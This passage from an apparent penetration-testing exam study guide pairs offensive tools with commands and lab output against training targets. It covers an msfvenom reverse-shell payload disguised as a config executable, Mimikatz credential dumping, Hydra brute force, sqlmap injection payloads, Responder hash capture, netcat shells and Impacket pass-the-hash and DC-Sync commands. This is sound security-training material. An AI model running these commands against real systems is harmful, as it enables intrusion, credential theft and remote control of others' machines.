      [recon-ng][thmredteam][brute_hosts] > 
    
    
    
      --------
      KALI.ORG
      --------
      [*] Country: None
      [*] Host: 10year.kali.org
      [*] Ip_Address: 104.18.4.159
      [*] Latitude: None
      [*] Longitude: None
      [*] Notes: None
      [*] Region: None
      [*] --------------------------------------------------
      [...]
      -------
      SUMMARY
      -------
      [*] 69 total (61 new) hosts found.  
    
    

🧪 Tips (Exam‑useful)

  • Validate Nmap results with NSE scripts for deeper info.
  • WHOIS privacy may hide registrant details.
  • Shodan often returns outdated banners—verify manually.

Domain 3.0 Tools and Examples

1. Nikto

  • Use Case: Web vulnerability scanning. Github

  • Input Example:

    nikto -h 10.10.28.201 -p 8080
    
    # Show any cookies received
    nikto -h 10.10.28.201 -p 8080 -Display 2
    
    nikto -h 10.10.28.201 -Plugin cgi
    
    # Scan with credentials
    nikto -h http://10.10.131.92:1234/manager/html -id bob:bubbles
    
  • Output Example:

    
    - Nikto v2.1.5
    ---------------------------------------------------------------------------
    + Target IP:          10.10.28.201
    + Target Hostname:    10.10.28.201
    + Target Port:        8080
    + Start Time:         2025-11-09 11:32:39 (GMT0)
    ---------------------------------------------------------------------------
    + Server: Apache-Coyote/1.1
    + Retrieved x-powered-by header: Servlet/3.0; JBossAS-6
    + Server leaks inodes via ETags, header found with file /, fields: 0xW/1554 0x1313480882000 
    + The anti-clickjacking X-Frame-Options header is not present.
    + No CGI Directories found (use '-C all' to force check all possible dirs)
    + OSVDB-39272: favicon.ico file identifies this server as: JBoss Server
    + Allowed HTTP Methods: GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS 
    + OSVDB-397: HTTP method ('Allow' Header): 'PUT' method could allow clients to save files on the web server.
    + OSVDB-5646: HTTP method ('Allow' Header): 'DELETE' may allow clients to remove files on the web server.
    + Cookie JSESSIONID created without the httponly flag
    + 6544 items checked: 0 error(s) and 7 item(s) reported on remote host
    + End Time:           2025-11-09 11:32:48 (GMT0) (9 seconds)
    ---------------------------------------------------------------------------
    + 1 host(s) tested
    
    
    [...]  
    + /admin-console/config.php sent cookie: JSESSIONID=BD85EA69D0C870800326239E08D80D92; Path=/admin-console
    + Cookie JSESSIONID created without the httponly flag
    + /jmx-console/HtmlAdaptor?action=inspectMBean&name=Catalina%3Atype%3DServer sent cookie: JSESSIONID=31F8DA9F45F7E89A965A6F4BB65A8BA7; Path=/jmx-console
    + 6544 items checked: 0 error(s) and 7 item(s) reported on remote host
    + End Time:           2025-11-09 11:25:44 (GMT0) (9 seconds)
    ---------------------------------------------------------------------------
    + 1 host(s) tested
    
    
    
    [...]
    + Server: Apache/2.4.7 (Ubuntu)
    + No CGI Directories found (use '-C all' to force check all possible dirs)
    + 6544 items checked: 0 error(s) and 0 item(s) reported on remote host
    + End Time:           2025-11-09 11:34:19 (GMT0) (1 seconds)
    ---------------------------------------------------------------------------
    + 1 host(s) tested
    
    

2. OpenVAS

  • Use Case: Network vulnerability scanning.

  • Input Example:

    omp -u admin -w pass --xml='<start_scan>'
    
  • Output Example:

    Scan report: CVE-2021-1234
    

3. Nessus

  • Use Case: Comprehensive vulnerability scanning.

  • Input Example:

    nessuscli scan --target example.com
    
  • Output Example:

    High severity vulnerabilities found
    

4. TruffleHog

  • Use Case: Secrets scanning in Git, S3 buckets, chats, wikis, logs, API testing platforms, object stores and filesystems. Github

  • Input Example:

    trufflehog git https://github.com/trufflesecurity/test_keys --results=verified
    
    trufflehog filesystem super_secret_folder
    
    trufflehog docker --image sagikazarmark/dvwa
    
  • Output Example:

    
    \U0001f437\U0001f511\U0001f437  TruffleHog. Unearth your secrets. \U0001f437\U0001f511\U0001f437
    
    2025-11-08T15:45:23Z	info-0	trufflehog	running source	{"source_manager_worker_id": "qEhpO", "with_units": true}
    2025-11-08T15:45:23Z	info-0	trufflehog	scanning repo	{"source_manager_worker_id": "qEhpO", "unit_kind": "dir", "unit": "/tmp/trufflehog-6505-708392298", "repo": "https://github.com/trufflesecurity/test_keys"}
    \u2705 Found verified result \U0001f437\U0001f511
    Detector Type: AWS
    Decoder Type: PLAIN
    Raw result: AKIAQYLPMN5HHHFPZAM2
    Arn: arn:aws:iam::052310077262:user/canarytokens.com@@c20nnjzlioibnaxvt392i9ope
    Resource_type: Access key
    Account: 052310077262
    Message: This is an AWS canary token generated at canarytokens.org.
    Is_canary: true
    Commit: 0416560b1330d8ac42045813251d85c688717eaf
    Email: counter <[email protected]>
    File: new_key
    Line: 2
    Repository: https://github.com/trufflesecurity/test_keys
    Repository_local_path: /tmp/trufflehog-6505-708392298
    Timestamp: 2023-10-19 02:56:37 +0000
    
    [...]
    
    \u2705 Found verified result \U0001f437\U0001f511
    Detector Type: URI
    Decoder Type: PLAIN
    Raw result: https://admin:[email protected]
    Commit: 690829e7f11c59c6bc8c40024b2595f4e5c9286d
    Email: Andrea Luzzardi <[email protected]>
    File: leaky
    Line: 3
    Repository: https://github.com/trufflesecurity/test_keys
    Repository_local_path: /tmp/trufflehog-6505-708392298
    Timestamp: 2025-01-22 01:13:13 +0000
    
    2025-11-08T15:45:25Z	info-0	trufflehog	finished scanning	{"chunks": 14, "bytes": 6959, "verified_secrets": 4, "unverified_secrets": 0, "scan_duration": "1.939086284s", "trufflehog_version": "3.90.13", "verification_caching": {"Hits":0,"Misses":6,"HitsWasted":0,"AttemptsSaved":0,"VerificationTimeSpentMS":4198}}
    
    
    
    [...]
    \u2705 Found verified result \U0001f437\U0001f511
    Detector Type: AWS
    Decoder Type: PLAIN
    Raw result: AKIAQYLPMN5HHHFPZAM2
    Is_canary: true
    Arn: arn:aws:iam::052310077262:user/canarytokens.com@@c20nnjzlioibnaxvt392i9ope
    Resource_type: Access key
    Account: 052310077262
    Message: This is an AWS canary token generated at canarytokens.org.
    File: super_secret_folder/secret.txt
    Line: 3
    [...]
    
    
    
    Found unverified result \U0001f437\U0001f511\u2753
    Detector Type: PrivateKey
    Decoder Type: PLAIN
    Raw result: -----BEGIN PRIVATE KEY-----
    MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDfDRwfKh8yOYpm
    uQkkhVYdXwSDpZaL0B1gqaGzvjJ2n9PjHxxw0CV2UbHmyaqBNPlRW+OtHYRL1np/
    [...]
    qeMXZOZ87ZYIYvPP0JRqutfUb1SAAAPW8o7uU1I4uNvqIa6jU4PaFazqicFGVYcp
    pbAt7TBWU468BGkweQfWK0s=
    -----END PRIVATE KEY-----
    File: /etc/ssl/private/ssl-cert-snakeoil.key
    Image: sagikazarmark/dvwa
    Layer: sha256:e6c91bb380b46e53f1b44edc6bb8992f8a1f89c553050b186a5159e4c66778a5
    Tag: latest
    
    

5. BloodHound

  • Use Case: AD attack path mapping.

  • Input Example: GUI-based after data collection

  • Output Example: Graph of privilege escalation paths


6. PowerSploit

  • Use Case: Post‑exploitation checks during vuln validation (be cautious & within scope).

  • Input Example: CheatSheet

    Import-Module PowerSploit
    Invoke-Mimikatz
    
    Import-Module .\PowerSploit\PowerSploit.psd1
    Invoke-UserHunter
    
    Import-Module .\CodeExecution\Invoke-WmiCommand.ps1
    Invoke-WmiCommand -Payload { ipconfig /all } -ComputerName $env:COMPUTERNAME | Select-Object -ExpandProperty PayloadOutput
    
  • Output Example:

    Successfully dumped credentials:
    Username: Administrator
    Password: P@ssw0rd!
    
    Found logged-on user: EXAMPLE\jdoe on HOST: WS-07
    
    Windows IP Configuration
    
     Host Name . . . . . . . . . . . . : WATCHMAN-DC
     Primary Dns Suffix  . . . . . . . : WATCH.local
     Node Type . . . . . . . . . . . . : Hybrid
     IP Routing Enabled. . . . . . . . : No
     WINS Proxy Enabled. . . . . . . . : No
     DNS Suffix Search List. . . . . . : eu-west-1.ec2-utilities.amazonaws.com
                                         eu-west-1.compute.internal
    [...]
    
    

7. Grype

  • Use Case: Scan a Docker image or SBOM for vulnerabilities before deploying to production. Github

  • Input Example:

    grype docker:sagikazarmark/dvwa:latest > grype.txt
    
    grype dir:.
    
  • Output Example:

     ✔ Loaded image                                                                                                              sagikazarmark/dvwa:latest 
     ✔ Parsed image                                                                sha256:e901498e651ae2806f3fda7406d97b7e9294eaada44d1d4970e9b28189b6d967 
     ✔ Cataloged contents                                                                 32a1c74f7535f93b6a02b2325a3b97780ffd825613ef49b691bd55fb454000e4 
       ├── ✔ Packages                        [219 packages]  
       ├── ✔ Executables                     [1,117 executables]  
       ├── ✔ File metadata                   [9,149 locations]  
       ├── ✔ File digests                    [9,149 files]  
     ✔ Scanned for vulnerabilities     [1910 vulnerability matches]  
       ├── by severity: 0 critical, 203 high, 1001 medium, 184 low, 522 negligible
    
    NAME                     INSTALLED               FIXED IN                   TYPE  VULNERABILITY     SEVERITY    EPSS           RISK          
    libapache2-mod-php5      5.6.30+dfsg-0+deb8u1    5.6.40+dfsg-0+deb8u7       deb   CVE-2019-11043    High        94.1% (99th)   82.5   (kev)  
    php5                     5.6.30+dfsg-0+deb8u1    5.6.40+dfsg-0+deb8u7       deb   CVE-2019-11043    High        94.1% (99th)   82.5   (kev)  
    php5-cli                 5.6.30+dfsg-0+deb8u1    5.6.40+dfsg-0+deb8u7       deb   CVE-2019-11043    High        94.1% (99th)   82.5   (kev)  
    php5-common              5.6.30+dfsg-0+deb8u1    5.6.40+dfsg-0+deb8u7       deb   CVE-2019-11043    High        94.1% (99th)   82.5   (kev)  
    php5-gd                  5.6.30+dfsg-0+deb8u1    5.6.40+dfsg-0+deb8u7       deb   CVE-2019-11043    High        94.1% (99th)   82.5   (kev)  
    php5-mysql               5.6.30+dfsg-0+deb8u1    5.6.40+dfsg-0+deb8u7       deb   CVE-2019-11043    High        94.1% (99th)   82.5   (kev)  
    php5-readline            5.6.30+dfsg-0+deb8u1    5.6.40+dfsg-0+deb8u7       deb   CVE-2019-11043    High        94.1% (99th)   82.5   (kev)  
    libapache2-mod-php5      5.6.30+dfsg-0+deb8u1    5.6.39+dfsg-0+deb8u1       deb   CVE-2018-19518    High        94.0% (99th)   70.5
    
    [...]
    
    
    ✔ Indexed file system                                                                                                                               . 
    ✔ Cataloged contents                                                                 cdb4ee2aea69cc6a83331bbe96dc2caa9a299d21329efb0336fc02a82e1839a8 
      ├── ✔ Packages                        [13,819 packages]  
      ├──✔ Executables                     [1,569 executables]  
      ├── ✔ File metadata                   [2,791 locations]  
      ├── ✔ File digests                    [2,791 files]  
    ✔ Scanned for vulnerabilities     [1092 vulnerability matches]  
      ├── by severity: 76 critical, 409 high, 520 medium, 87 low, 0 negligible
      ├── by status:   1054 fixed, 38 not-fixed, 0 ignored [0000]  WARN no explicit name and version provided for directory source, deriving artifact ID fro
    [0280]  WARN Unable to determine the OS distribution of some packages. This may result in missing vulnerabilities. You may specify a distro using: --dist
    
    NAME                          INSTALLED                       FIXED IN                                         TYPE           VULNERABILITY        SEVERITY  EPSS           RISK          
    spring-beans                  4.3.7.RELEASE                   5.2.20.RELEASE                                   java-archive   GHSA-36p3-wjmg-h94x  Critical  94.4% (99th)   98.7   (kev)  
    xstream                       1.4.9                           1.4.11                                           java-archive   GHSA-hf23-9pf7-388p  Critical  91.9% (99th)   86.4          
    pillow                        9.5.0                           10.0.1                                           python         GHSA-j7hp-h8jx-5ppr  High      94.1% (99th)   85.6   (kev)  
    xstream                       1.4.9                           1.4.18                                           java-archive   GHSA-j9h8-phrw-h4fh  High      94.4% (99th)   84.0   (kev)  
    stdlib                        go1.17.5                        *1.20.10, 1.21.3                                 go-module      CVE-2023-44487       High      94.4% (99th)   78.8   (kev)  
    jackson-databind              2.8.3                           2.8.11                                           java-archive   GHSA-rfx6-vp9g-rh7v  Critical  79.8% (99th)   75.0
    
    [...]
    
    

8. Trivy

  • Use Case: Perform a full security audit of an image or repo, including CVEs and hardcoded secrets. Github

  • Input Example:

    trivy image  sagikazarmark/dvwa
    
    trivy fs . --scanners vuln > vulns.txt
    
  • Output Example:

    
     sagikazarmark/dvwa (debian 8.7)
    ===============================
    Total: 1327 (UNKNOWN: 41, LOW: 100, MEDIUM: 572, HIGH: 432, CRITICAL: 182)
    
    [...]
    
    | Library  | Vulnerability     | Severity  | Status | Installed Version       | Fixed Version             | Title                                                                 |
    |----------|-------------------|-----------|--------|-------------------------|---------------------------|-----------------------------------------------------------------------|
    | apache2  | CVE-2017-3167     | CRITICAL  | fixed  | 2.4.10-10+deb8u8        | 2.4.10-10+deb8u9          | httpd: ap_get_basic_auth_pw() authentication bypass                   |
    
    [...]
    
    
    Desktop/Tools/C2/Covenant/Covenant/bin/Debug/netcoreapp3.1/Covenant.deps.json (dotnet-core)
    ===========================================================================================
    Total: 6 (UNKNOWN: 0, LOW: 0, MEDIUM: 5, HIGH: 1, CRITICAL: 0)
    
    | Library                                       | Vulnerability      | Severity | Status | Installed Version | Fixed Version              | Title                                               |
    |-----------------------------------------------|--------------------|----------|--------|-------------------|----------------------------|-----------------------------------------------------|
    | Microsoft.AspNetCore.Authentication.JwtBearer | CVE-2021-34532     | MEDIUM   | fixed  | 3.1.3             | 2.1.29, 3.1.18, 5.0.9      | dotnet: ASP.NET Core JWT token logging              |
    |                                               |                    |          |        |                   |                            | [https://avd.aquasec.com/nvd/cve-2021-34532         |
    
    [...]
    
    

9. Kube-hunter

  • Use Case: Probe Kubernetes clusters for common exposures (anonymous kubelet, dashboard, etc.). Github

  • NB: No longer maintained, recommendation is to use Trivy

  • Input Example:

    kube-hunter
    
    Choose one of the options below:
    1. Remote scanning      (scans one or more specific IPs or DNS names)
    2. Interface scanning   (scans subnets on all local network interfaces)
    3. IP range scanning    (scans a given IP range) 
    Your choice:
    
    
    kube-hunter --remote 10.80.128.251
    
    kube-hunter --pod
    
  • Output Example:

    Your choice: 3
    CIDR separated by a ',' (example - 192.168.0.0/16,!192.168.0.8/32,!192.168.1.0/24): 10.80.128.251
    2025-11-20 15:43:43,380 INFO kube_hunter.modules.report.collector Started hunting
    2025-11-20 15:43:43,380 INFO kube_hunter.modules.report.collector Discovering Open Kubernetes Services
    2025-11-20 15:43:43,468 INFO kube_hunter.modules.report.collector Found open service "Unrecognized K8s API" at 10.80.128.251:6443
    
    Nodes
    +-------------+---------------+
    | TYPE        | LOCATION      |
    +-------------+---------------+
    | Node/Master | 10.80.128.251 |
    +-------------+---------------+
    
    Detected Services
    +----------------------+--------------------+----------------------+
    | SERVICE              | LOCATION           | DESCRIPTION          |
    +----------------------+--------------------+----------------------+
    | Unrecognized K8s API | 10.80.128.251:6443 | A Kubernetes API     |
    |                      |                    | service              |
    +----------------------+--------------------+----------------------+
    
    No vulnerabilities were found
    
    

🧪 Tips (Exam‑useful)

  • Always confirm CVEs against NVD for accuracy.
  • Authenticated scans give deeper results than unauthenticated.
  • False positives common in Nikto—manual verification needed.

Domain 4.0 Tools and Examples

1. Metasploit

  • Use Case: Exploit execution. Rapid7

  • Also see Msfvenom

  • Input Example:

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.2.20.215 LPORT=4444 -f exe > sharedrive_config.exe
    
    msfconsole -q -x "use exploit/multi/handler; set PAYLOAD=windows/meterpreter/reverse_tcp; set LHOST=10.2.20.215; set LPORT=4444; exploit"
    
    
  • Output Example:

    meterpreter
    # Once reverse shell is established:
    meterpreter > keyscan_start
    Starting the keystroke sniffer...
    [...]
    meterpreter > keyscan_dump
    Dumping captured keystrokes...
    password1334<CR>
    
    meterpreter >
    

2. Hydra

  • Use Case: Brute-force login. Github

  • Input Example:

    hydra -l [email protected] -P passwords.txt smtps://10.10.144.205
    
    hydra -L usernames-list.txt -P seasons-exp.txt ssh://10.10.81.19
    
    hydra -l phillips -P wordlist.txt -V 10.10.144.205 http-get-form "/login-get/index.php:username=^USER^&password=^PASS^:S=logout.php"
    
    # brute-force BASIC AUTH page (/protected)
    hydra -l bob -P /usr/share/wordlists/rockyou.txt 10.10.131.92 http-get /protected
    
  • Output Example:

    
    [DATA] attacking smtps://10.10.144.205:465/
    [465][smtp] host: 10.10.144.205   login: [email protected]   password: !multidisciplinary00
    1 of 1 target successfully completed, 1 valid password found
    Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-11-08 10:36:48
    
    
    
    [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
    [DATA] max 16 tasks per 1 server, overall 16 tasks, 200 login tries (l:5/p:40), ~13 tries per task
    [DATA] attacking ssh://10.10.81.19:22/
    [22][ssh] host: 10.10.81.19   login: burgess   password: Fall2021@
    1 of 1 target successfully completed, 1 valid password found
    Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-11-08 11:50:35
    
    
    
    [...]
    [ATTEMPT] target 10.10.144.205 - login "phillips" - pass "clinical" - 29 of 106 [child 13] (0/0)
    [ATTEMPT] target 10.10.144.205 - login "phillips" - pass "innovative" - 30 of 106 [child 15] (0/0)
    [80][http-get-form] host: 10.10.144.205   login: phillips   password: Paracetamol
    1 of 1 target successfully completed, 1 valid password found
    Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-11-08 11:10:58
    
    
    
    [...]
    [DATA] attacking http-get://10.10.131.92:80/protected
    [80][http-get] host: 10.10.131.92   login: bob   password: bubbles
    1 of 1 target successfully completed, 1 valid password found
    
    

3. sqlmap

  • Use Case: SQL injection exploitation. Github

  • Input Example:

    sqlmap -r api-req.txt --dbs
    
    sqlmap -r api-req.txt -D vn_admin --tables
    
    # Payload from https://tryhackme.com/room/vulnnetendgame. Save the request to determin if blog is injectable
    
    GET /vn_internals/api/v2/fetch/?blog=1 HTTP/1.1
    Host: api.vulnnet.thm
    User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:131.0) Gecko/20100101 Firefox/131.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate, br
    Connection: keep-alive
    Upgrade-Insecure-Requests: 1
    Priority: u=0, i
    
    
  • Output Example:

    [15:10:53] [INFO] heuristic (basic) test shows that GET parameter 'blog' might be injectable
    [15:10:53] [INFO] testing for SQL injection on GET parameter 'blog'
    [15:10:53] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
    [15:10:53] [INFO] GET parameter 'blog' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable 
    [...]
    sqlmap identified the following injection point(s) with a total of 73 HTTP(s) requests:
    ---
    Parameter: blog (GET)
        Type: boolean-based blind
        Title: AND boolean-based blind - WHERE or HAVING clause
        Payload: blog=1 AND 3391=3391
    
        Type: time-based blind
        Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
        Payload: blog=1 AND (SELECT 7819 FROM (SELECT(SLEEP(5)))swed)
    
        Type: UNION query
        Title: Generic UNION query (NULL) - 3 columns
        Payload: blog=-7358 UNION ALL SELECT CONCAT(0x717a706271,0x6a6849505479467174526363464658775347754d4f79626752444172587875746e4e464e766b766a,0x717a786271),NULL,NULL-- -
    ---
    [15:11:29] [INFO] the back-end DBMS is MySQL
    back-end DBMS: MySQL >= 5.0.12
    [15:11:29] [INFO] fetching database names
    [15:11:29] [INFO] retrieved: 'information_schema'
    [15:11:29] [INFO] retrieved: 'blog'
    [15:11:29] [INFO] retrieved: 'vn_admin'
    available databases [3]:                                                                                                                 
    [*] blog
    [*] information_schema
    [*] vn_admin
    [...]
    
    
    
    [...]
    Database: vn_admin                                                                                                                       
    [48 tables]
    +---------------------------------------------+
    | backend_layout                              |
    | be_dashboards                               |
    | be_groups                                   |
    | be_sessions                                 |
    | be_users                                    |
    [...]
    
    

4. Burp Suite

  • Use Case: Web app testing & interception.

  • Input Example: Proxy intercept enabled

  • Output Example: Captured HTTP requests for manipulation


5. John the Ripper

  • Use Case: Password cracking that supports custom rules. Github

  • Input Example:

    /etc/john/john.conf
    [...]
    [List.Rules:StrikeSec]
    Az"[0-9]" ^[!@#$]
    [...]
    
    
    john --wordlist=/tmp/just-the-word-password.txt --rules=StrikeSec --stdout
    
    john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
    
  • Output Example:

    
    Using default input encoding: UTF-8
    !password0
    @password0
    #password0
    $password0
    !password1
    [...]
    
    
    
    Warning: detected hash type "Raw-SHA1", but the string is also recognized as "Raw-SHA1-AxCrypt"
    Use the "--format=Raw-SHA1-AxCrypt" option to force loading these as that type instead
    [...] 
    Using default input encoding: UTF-8
    Loaded 1 password hash (Raw-SHA1 [SHA1 256/256 AVX2 8x])
    Warning: no OpenMP support for this hash type, consider --fork=2
    Press 'q' or Ctrl-C to abort, almost any other key for status
    sunshine         (?)
    1g 0:00:00:00 DONE (2025-11-07 17:18) 8.333g/s 266.6p/s 266.6c/s 266.6C/s tigger..butterfly
    Use the "--show --format=Raw-SHA1" options to display all of the cracked passwords reliably
    Session completed. 
    
    

6. Responder

  • Use Case: LLMNR, NBT-NS and MDNS poisoner, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication. Github

  • Input Example:

    sudo responder -I breachad
    
  • Output Example:

    [+] Listening for events...
    
    [!] Error starting TCP server on port 80, check permissions or other servers running.
    [!] Error starting TCP server on port 3389, check permissions or other servers running.
    [!] Error starting TCP server on port 389, check permissions or other servers running.
    [SMB] NTLMv2-SSP Client   : ::ffff:10.200.4.202
    [SMB] NTLMv2-SSP Username : ZA\svcFileCopy
    [SMB] NTLMv2-SSP Hash     :   svcFileCopy::ZA:5969405a34cd1152:06B1CCCCA164CFB0D4A2C731DDDA591C:0101000000000000806E1874BE15DC0139AD96F1C8B71A690000000002000800390039005600570001001E00570049004E002D003900580041005400590047005600510034004200310004003400570049004E002D00390058004100540059004700560051003400420031002E0039003900560057002E004C004F00430041004C000300140039003900560057002E004C004F00430041004C000500140039003900560057002E004C004F00430041004C0007000800806E1874BE15DC0106000400020000000800300030000000000000000000000000200000C525F3EC55CB122FCB61358EFD4AAD876B72883968F82B73FA59FA029A3C76A30A0010000000000000000000000000000000000009001C0063006900660073002F00310030002E00350030002E0032002E0039000000000000000000
    
    
    • Can crack this 5600 hash (NetNTLMv2) via Hashcat

7. Netcat (nc)

  • Use Case: Banner grabbing, reverse/bind shells, simple TCP/UDP clients. User Guide

  • Input Example:

    # Banner grab
    nc -vn 10.10.1.171 80
    
    # Set up a listener and keep the connection alive
    # '-k' is server-side only
    
    nc -k -lvnp 4444
    
    # Connect to listener
    # Cat the file to send, then the second cat waits for keyboard input
    # This way the connection doesn't close straight after the file is sent
    
    (cat file_to_send_txt; cat) | nc -v 127.0.0.1 4444
    
    # Set up a listener, and pipe received output to a file
    # This will contain the text that file_to_send.txt contains
    
    nc -lvnp 4444 > received_output.txt
    
    options:
          -c shell commands       as `-e'; use /bin/sh to exec [dangerous!!]
          -e filename             program to exec after connect [dangerous!!]
          -b                      allow broadcasts
          -g gateway              source-routing hop point[s], up to 8
          -G num                  source-routing pointer: 4, 8, 12, ...
          -h                      this cruft
          -i secs                 delay interval for lines sent, ports scanned
          -k                      set keepalive option on socket
          -l                      listen mode, for inbound connects
          -n                      numeric-only IP addresses, no DNS
          -o file                 hex dump of traffic
          -p port                 local port number
          -r                      randomize local and remote ports
          -q secs                 quit after EOF on stdin and delay of secs
          -s addr                 local source address
          -T tos                  set Type Of Service
          -t                      answer TELNET negotiation
          -u                      UDP mode
          -v                      verbose [use twice to be more verbose]
          -w secs                 timeout for connects and final net reads
          -C                      Send CRLF as line-ending
          -z                      zero-I/O mode [used for scanning]
    
    
  • Output Example:

    (UNKNOWN) [10.10.1.171] 80 (http) open
    GET / HTTP/1.1
    
    HTTP/1.1 400 Bad Request
    Server: nginx/1.22.1
    Date: Fri, 07 Nov 2025 14:48:31 GMT
    Content-Type: text/html
    Content-Length: 157
    Connection: close
    
    <html>
    <head><title>400 Bad Request</title></head>
    <body>
    <center><h1>400 Bad Request</h1></center>
    <hr><center>nginx/1.22.1</center>
    </body>
    </html>
    
    

8. Impacket

  • Use Case: AD protocols abuse (SMB, MSRPC, LDAP, Kerberos) and lateral movement. Github

  • Input Example:

    # AS-REP Roasting a list of users
    # We can also specify -format john/hashcat to export the AS-REP hash in john or hashcat formats respectively.
    
    GetNPUsers.py -dc-ip 10.10.186.246 thm.red/ -usersfile /tmp/users.lst
    
    
    # Check for kerberoastable accounts
    # LDAP tools like `GetUserSPNs.py` can use Kerberos (`-k` flag), which is often more reliable in environments where:
    - NTLM is restricted
    - LDAP signing is enforced
    - DNS resolution is flaky
    
    GetUserSPNs.py controller.local/[email protected] -hashes :2777b7fec870e04dda00cd7260f7bee6 -no-pass -k -dc-ip 10.10.106.82
    
    # Kerberoasting - requesting TGS tickets
    
    GetUserSPNs.py controller.local/[email protected] -hashes :2777b7fec870e04dda00cd7260f7bee6 -no-pass -k -dc-ip 10.10.106.82 -request
    
    
    # Dumping the KRBTGT hash
    
    secretsdump.py 'controller.local/Administrator:P@$$W0rd'@10.10.175.51
    
    # Extracting SAM NTLM hashes from sam and system registry hives & shadow volume
    
    secretsdump.py -sam sam -system system- LOCAL
    
    # Extracting NTDS
    
    secretsdump.py -security ./registry/SECURITY -system ./registry/SYSTEM -ntds ./'Active Directory'/ntds.dit local
    
    # Perform DC-Sync remotely
    
    secretsdump.py -just-dc-ntlm THM.red/[email protected]
    
    # Executing files over SMB from linux
    
    smbexec.py 'thm:Passw0rd!'@10.10.5.212
    
    # Relay NTLM authentication capture to -T target
    
    ntlmrelayx.py -smb2support -t smb://10.200.72.201 -debug
    
    # Pass-the-hash
    
    psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8f81ee5558e2d1205a84d07b0e3b34f5 [email protected]
    
    # Serving files
    # Here the share name is “public”, located at “/root/share”
    
    smbserver.py -smb2support public /root/share -username THMBackup -password CopyMaster555
    
  • Output Example:

    # AS-REP Roasting a list of users - GetNPUsers.py
    
    [...]
    [-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
    [-] User admin doesn't have UF_DONT_REQUIRE_PREAUTH set
    [-] User thm doesn't have UF_DONT_REQUIRE_PREAUTH set
    [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
    [-] User sshd doesn't have UF_DONT_REQUIRE_PREAUTH set  [email protected]:677c3d66decbbef495bcb0529e1eae4b$1c5ed1ad7192d9641454cf2deedc0cb2f6e97db7df0b209413e2be8b00aea9c4126d804ce63085e3bf9dc46ceb24da44dd4806219d256bb53b6838bd8e8fa0e7d0f360d6cb497ba5d42233cbef2c84a64394600b7445a5fb326879eda561c7d57fe99e360db60d516b99fecf68510bc87907eff684ff3e2ee926c58c1b93b99852c6b364578e41c5bcd7d606753e4bb8210961d1c4cbd756a10d2551ebfe1ed28049e0a9fe3d77d6ff1412ce400340a39f1551045558f9f0c12329cc06a84177a50192a6f9fd8b19a90f704b5fdeabaa56e0dd60068a7fd3d8e7726e9f702efc6234
    [-] User CREDS-HARVESTIN$ doesn't have UF_DONT_REQUIRE_PREAUTH set
    root@ip-10-10-150-52:/tmp#
    
    
    # Check for kerberoastable accounts - GetUserSPNs.py
    
    Impacket v0.10.1.dev1+20230316.112532.f0ac44bd - Copyright 2022 Fortra
    
    [*] Getting machine hostname
    [-] CCache file is not found. Skipping...
    ServicePrincipalName                             Name         MemberOf                                                         PasswordLastSet             LastLogon                   Delegation 
    -----------------------------------------------  -----------  ---------------------------------------------------------------  --------------------------  --------------------------  ----------
    CONTROLLER-1/SQLService.CONTROLLER.local:30111   SQLService   CN=Group Policy Creator Owners,OU=Groups,DC=CONTROLLER,DC=local  2020-05-25 23:28:26.922527  2020-05-25 23:46:42.467441             
    CONTROLLER-1/HTTPService.CONTROLLER.local:30222  HTTPService                                                                   2020-05-25 23:39:17.578393  2020-05-25 23:40:14.671872             
    
    root@ip-10-10-177-75:/opt/impacket/examples# 
    
    
    # Kerberoasting - requesting TGS tickets - GetUserSPNs.py
    
    [...]
    [*] Getting machine hostname
    [-] CCache file is not found. Skipping...
    ServicePrincipalName                             Name         MemberOf                                                         PasswordLastSet             LastLogon                   Delegation 
    -----------------------------------------------  -----------  ---------------------------------------------------------------  --------------------------  --------------------------  ----------
    CONTROLLER-1/SQLService.CONTROLLER.local:30111   SQLService   CN=Group Policy Creator Owners,OU=Groups,DC=CONTROLLER,DC=local  2020-05-25 23:28:26.922527  2020-05-25 23:46:42.467441             
    CONTROLLER-1/HTTPService.CONTROLLER.local:30222  HTTPService                                                                   2020-05-25 23:39:17.578393  2020-05-25 23:40:14.671872             
    
    [-] CCache file is not found. Skipping...
